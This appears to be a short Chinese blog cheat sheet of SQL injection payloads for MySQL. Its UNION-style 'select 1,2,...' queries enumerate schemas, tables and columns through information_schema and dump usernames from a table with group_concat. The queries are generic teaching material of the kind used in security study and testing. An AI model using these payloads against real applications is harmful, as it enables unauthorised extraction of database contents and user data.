# 获取系统数据名
SELECT 1,2,SCHEMA_NAME FROM information_schema.schemata
# 获取当前数据库名
select 1,2,database()
# 获取数据库中表名
select 1,2,table_name from information_schema.TABLES t where t.TABLE_SCHEMA =database()
# 获取表中字段名
select 1,2,column_name from information_schema.columns where table_name='user_test'
# 获取数据
select 1,2,group_concat(id, username) from user_test
# 注:information_schema信息数据库,mysql>=5.0
SQL注入常用的一些sql语句
最新推荐文章于 2024-04-28 22:44:07 发布